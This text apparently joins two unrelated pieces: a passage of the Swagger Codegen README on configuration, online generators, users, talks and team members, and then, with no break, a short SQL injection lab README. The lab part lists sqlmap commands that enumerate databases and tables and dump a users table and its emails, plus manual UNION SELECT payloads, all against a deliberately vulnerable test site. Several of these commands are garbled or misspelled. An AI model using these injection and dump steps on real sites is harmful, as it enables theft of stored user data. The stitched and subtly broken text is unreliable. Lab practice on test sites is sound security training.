for `.swagger-codegen-ignore` files is available in IntelliJ via the [.ignore plugin](https://plugins.jetbrains.com/plugin/7495--ignore). ### Customizing the generator There are different aspects of customizing the code generator beyond just creating or modifying templates. Each language has a supporting configuration file to handle different type mappings, etc: ```sh $ ls -1 modules/swagger-codegen/src/main/java/io/swagger/codegen/languages/ AbstractJavaJAXRSServerCodegen.java AbstractTypeScriptClientCodegen.java ... (results omitted) TypeScriptAngularClientCodegen.java TypeScriptNodeClientCodegen.java ``` Each of these files creates reasonable defaults so you can get running quickly. But if you want to configure package names, prefixes, model folders, etc. you can use a json config file to pass the values. ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l java \ -o samples/client/petstore/java \ -c path/to/config.json ``` and `config.json` contains the following as an example: ```json { "apiPackage" : "petstore" } ``` Supported config options can be different per language. Running `config-help -l {lang}` will show available options. **These options are applied via configuration file (e.g. config.json) or by passing them with `-D{optionName}={optionValue}`**. (If `-D{optionName}` does not work, please open a [ticket](https://github.com/swagger-api/swagger-codegen/issues/new) and we'll look into it) ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l java ``` Output ``` CONFIG OPTIONS modelPackage package for generated models apiPackage package for generated api classes ...... (results omitted) library library template (sub-template) to use: jersey1 - HTTP client: Jersey client 1.18. JSON processing: Jackson 2.4.2 jersey2 - HTTP client: Jersey client 2.6 feign - HTTP client: Netflix Feign 8.1.1. JSON processing: Jackson 2.6.3 okhttp-gson (default) - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 retrofit - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 (Retrofit 1.9.0) retrofit2 - HTTP client: OkHttp 2.5.0. JSON processing: Gson 2.4 (Retrofit 2.0.0-beta2) ``` Your config file for Java can look like ```json { "groupId":"com.my.company", "artifactId":"MyClient", "artifactVersion":"1.2.0", "library":"feign" } ``` For all the unspecified options default values will be used. Another way to override default options is to extend the config class for the specific language. To change, for example, the prefix for the Objective-C generated files, simply subclass the ObjcClientCodegen.java: ```java package com.mycompany.swagger.codegen; import io.swagger.codegen.languages.*; public class MyObjcCodegen extends ObjcClientCodegen { static { PREFIX = "HELO"; } } ``` and specify the `classname` when running the generator: ``` -l com.mycompany.swagger.codegen.MyObjcCodegen ``` Your subclass will now be loaded and overrides the `PREFIX` value in the superclass. ### Bringing your own models Sometimes you don't want a model generated. In this case, you can simply specify an import mapping to tell the codegen what _not_ to create. When doing this, every location that references a specific model will refer back to your classes. Note, this may not apply to all languages... To specify an import mapping, use the `--import-mappings` argument and specify the model-to-import logic as such: ``` --import-mappings Pet=my.models.MyPet ``` Or for multiple mappings: ``` --import-mappings Pet=my.models.MyPet,Order=my.models.MyOrder ``` or ``` --import-mappings Pet=my.models.MyPet --import-mappings Order=my.models.MyOrder ``` ### Validating your OpenAPI Spec You have options. The easiest is to use our [online validator](https://github.com/swagger-api/validator-badge) which not only will let you validate your spec, but with the debug flag, you can see what's wrong with your spec. For example: http://online.swagger.io/validator/debug?url=http://petstore.swagger.io/v2/swagger.json ### Generating dynamic html api documentation To do so, just use the `-l dynamic-html` flag when reading a spec file. This creates HTML documentation that is available as a single-page application with AJAX. To view the documentation: ```sh cd samples/dynamic-html/ npm install node . ``` Which launches a node.js server so the AJAX calls have a place to go. ### Generating static html api documentation To do so, just use the `-l html` flag when reading a spec file. This creates a single, simple HTML file with embedded css so you can ship it as an email attachment, or load it from your filesystem: ```sh cd samples/html/ open index.html ``` ### To build a server stub Please refer to https://github.com/swagger-api/swagger-codegen/wiki/Server-stub-generator-HOWTO for more information. ### To build the codegen library This will create the swagger-codegen library from source. ```sh mvn package ``` Note! The templates are included in the library generated. If you want to modify the templates, you'll need to either repackage the library OR specify a path to your scripts ## Workflow Integration ### Maven Integration You can use the [swagger-codegen-maven-plugin](modules/swagger-codegen-maven-plugin/README.md) for integrating with your workflow, and generating any codegen target. ### Gradle Integration [Gradle Swagger Generator Plugin](https://github.com/int128/gradle-swagger-generator-plugin) is available for generating source code and API document. ## GitHub Integration To push the auto-generated SDK to GitHub, we provide `git_push.sh` to streamline the process. For example: 1) Create a new repository in GitHub (Ref: https://help.github.com/articles/creating-a-new-repository/) 2) Generate the SDK ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i modules/swagger-codegen/src/test/resources/2_0/petstore.json -l perl \ --git-user-id "wing328" \ --git-repo-id "petstore-perl" \ --release-note "Github integration demo" \ -o /var/tmp/perl/petstore ``` 3) Push the SDK to GitHub ```sh cd /var/tmp/perl/petstore /bin/sh ./git_push.sh ``` ## Online generators One can also generate API client or server using the online generators (https://generator.swagger.io) For example, to generate Ruby API client, simply send the following HTTP request using curl: ```sh curl -X POST -H "content-type:application/json" -d '{"swaggerUrl":"http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/ruby ``` Then you will receieve a JSON response with the URL to download the zipped code. To customize the SDK, you can `POST` to `https://generator.swagger.io/gen/clients/{language}` with the following HTTP body: ```json { "options": {}, "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" } ``` in which the `options` for a language can be obtained by submitting a `GET` request to `https://generator.swagger.io/api/gen/clients/{language}`: For example, `curl https://generator.swagger.io/api/gen/clients/python` returns ```json { "packageName":{ "opt":"packageName", "description":"python package name (convention: snake_case).", "type":"string", "default":"swagger_client" }, "packageVersion":{ "opt":"packageVersion", "description":"python package version.", "type":"string", "default":"1.0.0" }, "sortParamsByRequiredFlag":{ "opt":"sortParamsByRequiredFlag", "description":"Sort method arguments to place required parameters before optional parameters.", "type":"boolean", "default":"true" } } ``` To set package name to `pet_store`, the HTTP body of the request is as follows: ```json { "options": { "packageName": "pet_store" }, "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" } ``` and here is the curl command: ```sh curl -H "Content-type: application/json" -X POST -d '{"options": {"packageName": "pet_store"},"swaggerUrl": "http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/python ``` Instead of using `swaggerUrl` with an URL to the OpenAPI/Swagger spec, one can include the spec in the JSON payload with `spec`, e.g. ```json { "options": {}, "spec": { "swagger": "2.0", "info": { "version": "1.0.0", "title": "Test API" }, ... } } ``` Guidelines for Contribution --------------------------- Please refer to this [page](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) Companies/Projects using Swagger Codegen ---------------------------------------- Here are some companies/projects using Swagger Codegen in production. To add your company/project to the list, please visit [README.md](https://github.com/swagger-api/swagger-codegen/blob/master/README.md) and click on the icon to edit the page. - [Accengage](https://www.accengage.com/) - [Activehours](https://www.activehours.com/) - [Acunetix](https://www.acunetix.com/) - [Atlassian](https://www.atlassian.com/) - [Autodesk](http://www.autodesk.com/) - [Avenida Compras S.A.](https://www.avenida.com.ar) - [AYLIEN](http://aylien.com/) - [Balance Internet](https://www.balanceinternet.com.au/) - [beemo](http://www.beemo.eu) - [bitly](https://bitly.com) - [BeezUP](http://www.beezup.com) - [Box](https://box.com) - [Bufferfly Network](https://www.butterflynetinc.com/) - [Cachet Financial](http://www.cachetfinancial.com/) - [carpolo](http://www.carpolo.co/) - [CloudBoost](https://www.CloudBoost.io/) - [Cisco](http://www.cisco.com/) - [Conplement](http://www.conplement.de/) - [Cummins](http://www.cummins.com/) - [Cupix](http://www.cupix.com) - [DBBest Technologies](https://www.dbbest.com) - [DecentFoX](http://decentfox.com/) - [DocRaptor](https://docraptor.com) - [DocuSign](https://www.docusign.com) - [Elastic](https://www.elastic.co/) - [Ergon](http://www.ergon.ch/) - [Dell EMC](https://www.emc.com/) - [eureka](http://eure.jp/) - [everystory.us](http://everystory.us) - [Expected Behavior](http://www.expectedbehavior.com/) - [Fastly](https://www.fastly.com/) - [FINRA](https://github.com/FINRAOS/herd/) - [Flat](https://flat.io) - [Finder](http://en.finder.pl/) - [Fitwell](https://fitwell.co/) - [FH Münster - University of Applied Sciences](http://www.fh-muenster.de) - [Fotition](https://www.fotition.com/) - [Gear Zero Network](https://www.gearzero.ca) - [General Electric](https://www.ge.com/) - [Genesys - PureCloud](http://developer.mypurecloud.com/) - [Germin8](http://www.germin8.com) - [GigaSpaces](http://www.gigaspaces.com) - [goTransverse](http://www.gotransverse.com/api) - [GraphHopper](https://graphhopper.com/) - [Gravitate Solutions](http://gravitatesolutions.com/) - [HashData](http://www.hashdata.cn/) - [Hewlett Packard Enterprise](https://hpe.com) - [High Technologies Center](http://htc-cs.com) - [IBM](https://www.ibm.com) - [IMS Health](http://www.imshealth.com/en/solution-areas/technology-and-applications) - [Individual Standard IVS](http://www.individual-standard.com) - [Intent HQ](http://www.intenthq.com) - [Kabuku](http://www.kabuku.co.jp/en) - [Kurio](https://kurio.co.id) - [Kuroi](http://kuroiwebdesign.com/) - [Kuary](https://kuary.com/) - [Kubernetes](https://kubernetes.io/) - [LANDR Audio](https://www.landr.com/) - [Lascaux](http://www.lascaux.it/) - [Leanix](http://www.leanix.net/) - [Leica Geosystems AG](http://leica-geosystems.com) - [LiveAgent](https://www.ladesk.com/) - [LXL Tech](http://lxltech.com) - [Lyft](https://www.lyft.com/developers) - [MailMojo](https://mailmojo.no/) - [Metaswitch](https://www.metaswitch.com/) - [Mindera](http://mindera.com/) - [Mporium](http://mporium.com/) - [Neverfail](https://neverfail.com/) - [NTT DATA](http://www.nttdata.com/) - [nViso](http://www.nviso.ch/) - [Okiok](https://www.okiok.com) - [Onedata](http://onedata.org) - [Open International Systems](https://openintl.com/) - [OrderCloud.io](http://ordercloud.io) - [OSDN](https://osdn.jp) - [PagerDuty](https://www.pagerduty.com) - [PagerTree](https://pagertree.com) - [Pepipost](https://www.pepipost.com) - [Plexxi](http://www.plexxi.com) - [Pixoneye](http://www.pixoneye.com/) - [PostAffiliatePro](https://www.postaffiliatepro.com/) - [PracticeBird](https://www.practicebird.com/) - [Prill Tecnologia](http://www.prill.com.br) - [QAdept](http://qadept.com/) - [QuantiModo](https://quantimo.do/) - [QuickBlox](https://quickblox.com/) - [Rapid7](https://rapid7.com/) - [Red Hat](https://www.redhat.com/) - [Reload! A/S](https://reload.dk/) - [REstore](https://www.restore.eu) - [Revault Sàrl](http://revault.ch) - [Riffyn](https://riffyn.com) - [Royal Bank of Canada (RBC)](http://www.rbc.com/canada.html) - [Saritasa](https://www.saritasa.com/) - [SAS](https://www.sas.com) - [SCOOP Software GmbH](http://www.scoop-software.de) - [Shine Solutions](https://shinesolutions.com/) - [Simpfony](https://www.simpfony.com/) - [Skurt](http://www.skurt.com) - [Slamby](https://www.slamby.com/) - [SmartRecruiters](https://www.smartrecruiters.com/) - [snapCX](https://snapcx.io) - [SPINEN](http://www.spinen.com) - [Sponsoo](https://www.sponsoo.de) - [SRC](https://www.src.si/) - [Stardog Ventures](https://www.stardog.io) - [Stingray](http://www.stingray.com) - [StyleRecipe](http://stylerecipe.co.jp) - [Svenska Spel AB](https://www.svenskaspel.se/) - [Switch Database](https://www.switchdatabase.com/) - [TaskData](http://www.taskdata.com/) - [ThoughtWorks](https://www.thoughtworks.com) - [Trexle](https://trexle.com/) - [Upwork](http://upwork.com/) - [uShip](https://www.uship.com/) - [VMware](https://vmware.com/) - [Viavi Solutions Inc.](https://www.viavisolutions.com) - [W.UP](http://wup.hu/?siteLang=en) - [Wealthfront](https://www.wealthfront.com/) - [Webever GmbH](https://www.webever.de/) - [WEXO A/S](https://www.wexo.dk/) - [XSky](http://www.xsky.com/) - [Yelp](http://www.yelp.com/) - [Zalando](https://tech.zalando.com) - [ZEEF.com](https://zeef.com/) - [zooplus](https://www.zooplus.com/) Presentations/Videos/Tutorials/Books ---------------------------------------- - 2011/08/31 - [Introducing Swagger](https://www.slideshare.net/fehguy/introducing-swagger) by [Tony Tam](https://twitter.com/fehguy) - 2014/05/22 - [Swagger APIs for Humans and Robots](https://www.slideshare.net/fehguy/swagger-apis-for-humans-and-robots-gluecon) by [Tony Tam](https://twitter.com/fehguy) at [Gluecon](http://gluecon.com/) - 2014/11/11 - [Genie 2.0: Second Wish Granted!](https://medium.com/netflix-techblog/genie-2-0-second-wish-granted-d888d79455c6) by [Tom Gianos](http://www.linkedin.com/in/thomasgianos/) and [Amit Sharma](https://www.linkedin.com/pub/amit-sharma/5/163/a83) @ [Netflix](https://www.netflix.com/) Big Data Platform Team - 2015/07/28 - [Enriching RESTful Services with Swagger](https://blog.philipphauer.de/enriching-restful-services-swagger/) by [Philipp Hauer](https://blog.philipphauer.de/) - 2015/11/11 - [Generate client stubs & document your REST-API using Swagger & Spring](https://www.youtube.com/watch?v=43GhBbP--oI) by [Johannes Fiala](https://github.com/jfiala) @ Devoxx Belgium 2015 - 2015/12/03 - [こんなに簡単! Swagger Codegenのカスタマイズ](http://qiita.com/Quramy/items/c583f3213f0b77ff1bac) by [Quramy](http://qiita.com/Quramy) - 2016/01/12 - [Generate client side code using Swagger Codegen](http://rnavagamuwa.com/open-source/generate-client-side-code-using-swagger-codegen/) by [RNAVAGAMUWA](http://rnavagamuwa.com/author/admin/) - 2016/01/15 - [How to end manual REST-API client coding](https://www.youtube.com/watch?v=RzZRdqZp6Oo) by [Johannes Fiala](https://github.com/jfiala) @ dotJS 2015 - 2016/04/27 - [Automated REST API Development](https://yos.io/2016/04/27/automated-api-development/) by [Yos Riady](https://www.linkedin.com/in/yosriady) - 2016/05/29 - [Generating Java Spring-MVC code from Swagger Spec](https://www.clianz.com/2016/05/29/java-mvc-swagger-gen/) by [@icha024](https://github.com/icha024) - 2016/09/28 - [1 UNBELIEVABLE TRICK TO CREATE AN EASY TO CONSUME API IN .NET](https://stapp.space/1-simple-trick-to-create-a-good-api-in-net/) by [Piotr Stapp](https://stapp.space/author/piotr-stapp/) - 2016/10/10 - [Using swagger-codegen with Marketo](http://developers.marketo.com/blog/using-swagger-codegen-with-marketo/) by [Kenny Elkington](http://developers.marketo.com/blog/using-swagger-codegen-with-marketo/) - 2016/10/12 - [Designing a Swagger API](https://sookocheff.com/post/api/swagger/) by [Kevin Sookocheff](https://sookocheff.com/) - 2016/11/05 - [How to generate a REST Application](https://www.youtube.com/watch?v=iyC9BWMe75Q) by [Johannes Fiala](https://github.com/jfiala) @ DevFest Vienna 2016 - 2016/11/10 - [Building an AEM API clients ecosystem](http://blog.cliffano.com/2016/11/10/adobe-marketing-cloud-community-expo/) by Cliffano Subagio, Michael Diender, Stephen Shim from [Shine Solutions](https://shinesolutions.com/) @ [Adobe Marketing Cloud Community Expo (AMCCE)](https://www.meetup.com/Melbourne-AEM-CQ-Meetup/events/233363101/) - 2016/11/18 - [How to generate a REST CXF3 application from Swagger-Contract](https://www.slideshare.net/johannes_fiala/how-to-generate-a-rest-cxf3-application-from-swagger-apacheconeu-2016) by [Johannes Fiala](https://github.com/jfiala) @ ApacheConEU 2016 - 2016/11/25 - [Swagger Codegen for Swift3 and NodeJS](https://normand1.github.io/blog/swift/swagger/codegen/2016/11/25/Swagger-Codegen-for-Swift3-and-NodeJS.html) by [David Norman](https://github.com/normand1) - 2016/12/08 - [Generate client side code using Swagger Codegen](https://carra-lucia-ltd.co.uk/2016/12/08/generate-client-side-code-using-swagger-codegen/) by [theFerkel](https://carra-lucia-ltd.co.uk/author/theferkel/) - 2017/01/16 - [Zero to API in 4 minutes](https://cidrblock.github.io/zero-to-api-in-4-minutes.html) by [Bradley A. Thornton](https://github.com/cidrblock) - 2017/02/09 - [「Swaggerを利用した新規サービス開発」というタイトルで登壇して来ました](https://techblog.recochoku.jp/1055) by [recotech](https://www.slideshare.net/recotech) - 2017/03/03 - [Swagger Codegen の使い方の簡単な説明です](https://speakerdeck.com/wagyu298/swagger-codegen) by [wagyu298](https://github.com/wagyu298) - 2017/03/24 - [Using Open API Specification To Put Lyft SDK Support in the Fast Lane](https://medium.com/lyft-developer-platform/using-open-api-specification-to-put-lyft-sdk-support-in-the-fast-lane-7b623218e4ee) by [Val Polouchkine](https://github.com/vpolouchkine) - 2017/04/13 - [Automatically Generating your API Client with Swagger and Swagger Codegen](https://www.youtube.com/watch?v=EzKwi-u9jQo) by [Jesse Collis](https://github.com/jessedc) @ Melbourne Cocoaheads - 2017/04/27 - [Swagger Codegen のPHP実装があまりにアレだったので、ライブラリ自作して公開してみた](http://qiita.com/imunew/items/2e9c472e0097e329f2cd) by [imunew](http://qiita.com/imunew) - 2017/05/17 - [Diseño de APIs con OpenAPI](https://www.slideshare.net/pjmolina/diseo-de-apis-con-openapi) by [Pedro J. Molina](https://github.com/pjmolina) @ [JSDayES 2017](http://2017.jsday.es/) - 2017/05/22 - [Presentation of the Vert.x-Swagger project](http://vertx.io/blog/presentation-of-the-vert-x-swagger-project/) by [@phiz71](http://github.com/phiz71) - 2017/05/22 - [Automatically generating your API from a swagger file using gradle](https://www.jcore.com/2017/05/22/automatically-generating-api-using-swagger-and-gradle/) by [Deniz Turan](https://www.jcore.com/author/deniz/) - 2017/06/21 - [Swagger Presentation - Warsaw Ruby Users Group](https://www.youtube.com/watch?v=uCnnDMFQB8U) by [@rafalpetryka](http://github.com/rafalpetryka) - 2017/06/29 - [Making SDKs: the bespoke, the hopeful and the generated](https://devrel.net/developer-experience/making-sdks-bespoke-hopeful-generated) by [Tristan Sokol](https://github.com/tristansokol) ([Square](https://github.com/square)) at DevXcon 2017 - 2017/07/11 - [OpenAPI development with Python](https://www.slideshare.net/TakuroWada/20170711-euro-python2017) by [和田拓朗](https://github.com/taxpon) at [EuroPython 2017](https://ep2017.europython.eu/en/) - 2017/07/29 - [How Square makes its SDKs](https://medium.com/square-corner-blog/how-square-makes-its-sdks-6a0fd7ea4b2d) by [Tristan Sokol](https://github.com/tristansokol) ([Square](https://github.com/square)) - 2017/07/31 - [How to Generate a Deployable REST CXF3 Application from a Swagger-Contract](https://www.youtube.com/watch?v=gM63rJlUHZQ) by [Johannes Fiala](https://github.com/jfiala) @ Voxxed Days Vienna - 2017/08/11 - [Swagger Codegen 自动生成Retrofit 代码](https://juejin.im/entry/598d8eb86fb9a03c52459e2a) by [徐磊](http://www.jianshu.com/u/792c738b33fc) - 2017/08/24 - [APIs First](https://engineering.squarespace.com/blog/2017/apis-first) by [roykachouh](https://github.com/roykachouh) ([Square](https://github.com/square)) - 2017/08/31 - [Bringing Jenkins Remote Access API To The Masses](http://blog.cliffano.com/2017/09/01/jenkins-world-2017/) by [Cliffano Subagio](http://cliffano.com) from [Shine Solutions](https://shinesolutions.com/) @ [Jenkins World 2017](https://jenkinsworld20162017.sched.com/) - 2017/09/08 - [Swagger Codegen で自動生成したクライアントSDKを使う(iOS編)](http://blog.techium.jp/entry/2017/09/08/071650) by [kfurue](http://profile.hatena.ne.jp/kfurue/) - 2017/09/09 - [Swagger Codegen で自動生成したクライアントSDKを使う(RxSwift 編)](http://blog.techium.jp/entry/2017/09/09/113003) by [kfurue](http://profile.hatena.ne.jp/kfurue/) - 2017/09/09 - [OpenAPIを利用したPythonWebアプリケーション開発](https://www.slideshare.net/TakuroWada/openapipythonweb) by [和田拓朗](https://github.com/taxpon) at [PyCon JP 2017](https://pycon.jp/2017/ja/) - 2017/09/21 - [Generating an Elastic Cloud Enterprise Client](https://www.elastic.co/blog/generating-an-elastic-cloud-enterprise-client) by [Greg Marzouka](https://github.com/gmarz) ([Elastic](https://www.elastic.co/)) - 2017/09/26 - [How to Use IoT Application Enablement Api Hub JSON Descriptor in Postman and How to Generate Client Code](https://www.linkedin.com/in/radu-simen/) by [Radu Simen](https://www.linkedin.com/in/radu-simen/) ([SAP](https://www.sap.com/)) - 2017/09/28 - [Swagger Codegenで APIクライアントgem 自動生成 #m3kt](https://speakerdeck.com/juntaki/swagger-codegende-apikuraiantogem-zi-dong-sheng-cheng-number-m3kt) by [Jumpei Takiyasu](https://github.com/juntaki) - 2017/09/30 - [Swaggerのテンプレートを魔改造した話 #渋谷java](https://www.slideshare.net/int128/swagger-80309224) by [Hidetake Iwata](https://github.com/int128) ([NTT DATA Corporation](http://www.nttdata.com/global/en/)) - 2017/10/04 - [Enterprise-friendly Java client for Microsoft Machine Learning Server](https://blogs.msdn.microsoft.com/mlserver/2017/10/04/enterprise-friendly-java-client-for-microsoft-machine-learning-server/) by [Pratik Palnitkar](https://www.linkedin.com/in/pratikpalnitkar/) ([Microsoft](https://www.microsoft.com/)) - 2017/10/08 - [Generating a REST Ada client with OpenAPI and Swagger Codegen](https://blog.vacs.fr/vacs/blogs/post.html?post=2017/10/08/Generating-a-REST-Ada-client-with-OpenAPI-and-Swagger-Codegen) by [Stephane Carrez](https://github.com/stcarrez) # Swagger Codegen Core Team Swagger Codegen core team members are contributors who have been making significant contributions (review issues, fix bugs, make enhancements, etc) to the project on a regular basis. ## API Clients | Languages | Core Team (join date) | |:-------------|:-------------| | ActionScript | | | C++ | | | C# | @jimschubert (2016/05/01) | | Clojure | @xhh (2016/05/01) | | Dart | | | Groovy | | | Go | @guohuang (2016/05/01) @neilotoole (2016/05/01) | | Java | @cbornet (2016/05/01) @xhh (2016/05/01) @epaul (2016/06/04) | | Java (Spring Cloud) | @cbornet (2016/07/19) | | Kotlin | @jimschubert (2016/05/01) | | NodeJS/Javascript | @xhh (2016/05/01) | | ObjC | @mateuszmackowiak (2016/05/09) | | Perl | @wing328 (2016/05/01) | | PHP | @arnested (2016/05/01) | | Python | @scottrw93 (2016/05/01) | | Ruby | @wing328 (2016/05/01) @zlx (2016/05/22) | | Scala | | | Swift | @jaz-ah (2016/05/01) @Edubits (2016/05/01) | | TypeScript (Node) | @Vrolijkx (2016/05/01) | | TypeScript (Angular1) | @Vrolijkx (2016/05/01) | | TypeScript (Angular2) | @Vrolijkx (2016/05/01) | | TypeScript (Fetch) | | ## Server Stubs | Languages | Core Team (date joined) | |:------------- |:-------------| | C# ASP.NET5 | @jimschubert (2016/05/01) | | Go Server | @guohuang (2016/06/13) | | Haskell Servant | | | Java Spring Boot | @cbornet (2016/07/19) | | Java Spring MVC | @kolyjjj (2016/05/01) @cbornet (2016/07/19) | | Java JAX-RS | | | Java Play Framework | | | NancyFX | | | NodeJS | @kolyjjj (2016/05/01) | | PHP Lumen | @abcsun (2016/05/01) | | PHP Silex | | | PHP Slim | | | Python Flask | | | Ruby Sinatra | @wing328 (2016/05/01) | | | Scala Scalatra | | | | Scala Finch | @jimschubert (2017/01/28) | ## Template Creator Here is a list of template creators: * API Clients: * Ada: @stcarrez * Akka-Scala: @cchafer * Apex: @asnelling * Bash: @bkryza * C++ REST: @Danielku15 * C# (.NET 2.0): @who * C# (.NET Standard 1.3 ): @Gronsak * C# (.NET 4.5 refactored): @jimschubert * Clojure: @xhh * Dart: @yissachar * Elixir: @niku * Eiffel: @jvelilla * Groovy: @victorgit * Go: @wing328 * Go (rewritten in 2.3.0): @antihax * Haskell (http-client): @jonschoning * Java (Feign): @davidkiss * Java (Retrofit): @0legg * Java (Retrofit2): @emilianobonassi * Java (Jersey2): @xhh * Java (okhttp-gson): @xhh * Java (RestTemplate): @nbruno * Java (RESTEasy): @gayathrigs * Java (Vertx): @lopesmcc * Javascript/NodeJS: @jfiala * Javascript (Closure-annotated Angular) @achew22 * JMeter: @davidkiss * Kotlin: @jimschubert * Lua: @daurnimator * Perl: @wing328 * PHP (Guzzle): @baartosz * PowerShell: @beatcracker * R: @ramnov * Rust: @farcaller * Rust (rust-server): @metaswitch * Scala (scalaz & http4s): @tbrown1979 * Swift: @tkqubo * Swift 3: @hexelon * Swift 4: @ehyche * TypeScript (Node): @mhardorf * TypeScript (Angular1): @mhardorf * TypeScript (Fetch): @leonyu * TypeScript (Angular2): @roni-frantchi * TypeScript (jQuery): @bherila * Server Stubs * C# ASP.NET5: @jimschubert * C# NancyFX: @mstefaniuk * C++ Pistache: @sebymiano * C++ Restbed: @stkrwork * Erlang Server: @galaxie * Go Server: @guohuang * Haskell Servant: @algas * Java MSF4J: @sanjeewa-malalgoda * Java Spring Boot: @diyfr * Java Undertow: @stevehu * Java Play Framework: @JFCote * JAX-RS RestEasy: @chameleon82 * JAX-RS CXF: @hiveship * JAX-RS CXF (CDI): @nickcmaynard * JAX-RS RestEasy (JBoss EAP): @jfiala * PHP Lumen: @abcsun * PHP Slim: @jfastnacht * PHP Symfony: @ksm2 * PHP Zend Expressive (with Path Handler): @Articus * Ruby on Rails 5: @zlx * Rust (rust-server): @metaswitch * Scala Finch: @jimschubert * Documentation * HTML Doc 2: @jhitchcock * Confluence Wiki: @jhitchcock * Configuration * Apache2: @stkrwork ## How to join the core team Here are the requirements to become a core team member: - rank within top 50 in https://github.com/swagger-api/swagger-codegen/graphs/contributors - to contribute, here are some good [starting points](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22) - regular contributions to the project - about 3 hours per week - for contribution, it can be addressing issues, reviewing PRs submitted by others, submitting PR to fix bugs or make enhancements, etc To join the core team, please reach out to [email protected] (@wing328) for more information. To become a Template Creator, simply submit a PR for new API client (e.g. Rust, Elixir) or server stub (e.g. Ruby Grape) generator. # Swagger Codegen Technical Committee Members of the Swagger Codegen technical committee shoulder the following responsibilities: - Provides guidance and direction to other users - Reviews pull requests and issues - Improves the generator by making enhancements, fixing bugs or updating documentations - Sets the technical direction of the generator Who is eligible? Those who want to join must have at least 3 PRs merged into a generator. (Exceptions can be granted to template creators or contributors who have made a lot of code changes with less than 3 merged PRs) If you want to join the committee, please kindly apply by sending an email to [email protected] ([@wing328](https://github.com/wing328)) with your Github ID. ## Members of Technical Committee | Languages | Member (join date) | |:-------------|:-------------| | ActionScript | | | Android | @jaz-ah (2017/09) | | Apex | | | Bash | @frol (2017/07) @bkryza (2017/08) @kenjones-cisco (2017/09) | | C++ | @ravinikam (2017/07) @stkrwork (2017/07) | | C# | @mandrean (2017/08) @jimschubert (2017/09) | | Clojure | | | Dart | @ircecho (2017/07) | | Eiffel | @jvelilla (2017/09) | | Elixir | | | Erlang | | | Groovy | | | Go | | | Haskell | | | Java | @bbdouglas (2017/07) @JFCote (2017/08) @sreeshas (2017/08) @jfiala (2017/08) @lukoyanov (2017/09) @cbornet (2017/09) | | Kotlin | @jimschubert (2017/09) | | Lua | @daurnimator (2017/08) | | NodeJS/Javascript | @CodeNinjai (2017/07) @frol (2017/07) @cliffano (2017/07) | | ObjC | | | Perl | @wing328 (2017/07) | | PHP | @jebentier (2017/07) @dkarlovi (2017/07) @mandrean (2017/08) @jfastnacht (2017/09) @ackintosh (2017/09) | | Python | @taxpon (2017/07) @frol (2017/07) @mbohlool (2017/07) @cbornet (2017/09) | | R | | | Ruby | @cliffano (2017/07) @zlx (2017/09) | | Rust | @frol (2017/07) @farcaller (2017/08) | | Scala | @clasnake (2017/07) @jimschubert (2017/09) | | Swift | @jgavris (2017/07) @ehyche (2017/08) @Edubits (2017/09) @jaz-ah (2017/09) | | TypeScript | @TiFu (2017/07) @taxpon (2017/07) @sebastianhaas (2017/07) @kenisteward (2017/07) @Vrolijkx (2017/09) | # License information on Generated Code The Swagger Codegen project is intended as a benefit for users of the Swagger / Open API Specification. The project itself has the [License](#license) as specified. In addition, please understand the following points: * The templates included with this project are subject to the [License](#license). * Generated code is intentionally _not_ subject to the parent project license When code is generated from this project, it shall be considered **AS IS** and owned by the user of the software. There are no warranties--expressed or implied--for generated code. You can do what you wish with it, and once generated, the code is your responsibility and subject to the licensing terms that you deem appropriate. License ------- Copyright 2017 SmartBear Software Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at [apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0) Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --- <img src="http://swagger.io/wp-content/uploads/2016/02/logo.jpg"/>
SQL INJECTION ATTACK The following are implemented the SQl Injectoin attack: 1. How would you find if a site is vulnerable to SQL injection or not? 2. Implement SQL Injection Attack and perform the following on the Test Site 3. Find the database names 4. Find the relation/table names 5. Find the attribute/column names 6. Find the records in each table Performed the above tasks by a. Using SQLMAP tool (In Kali Linux inside VMWare platform) b. Manually (In the host machine itself, over a browser, via sql code injection) 3. Step Wise output for each task (Screen Shot as well as the command for each task) 4. Reason out what happens at each step SCRIPT STEPS: Exploring the functionalities of sqlmap Use inside Kali Linux installed in VMWare 1. Go to Test Site : testphp.vulnweb.com – acuart site 2. Find the records in each table Perform the above tasks by a Using SQLMAP tool as "sqlmap –u link –dbs" 3. Fetch the details of all tables as " sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1%27 D acurat --tables" 4. Fetching the details of columns in users tables as "sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1%27 D acurat - T users --columns" 5. Dump command as "sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1%27 D acurat - T users -C adesc,aname,artist_id,--dump" 6. For email as "sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1%27 D acurat - T users -C email --dump" 7. For Manual testing as "http://testphp.vulneb.com/artists.php?artist=-1 union select 1,2,group\_\_concat(table_name)from information_schema.tables where table_schema=database()-- 8. http://testphp.vulneb.com/artists.php?artist=1 union select 1,2,group\_\_concat(table_name)from information_schema.tables where table_schema=database()— 9. http://testphp.vulneb.com/artists.php?artist=-1 union select 1,2,group\_\_concat(uname)from users
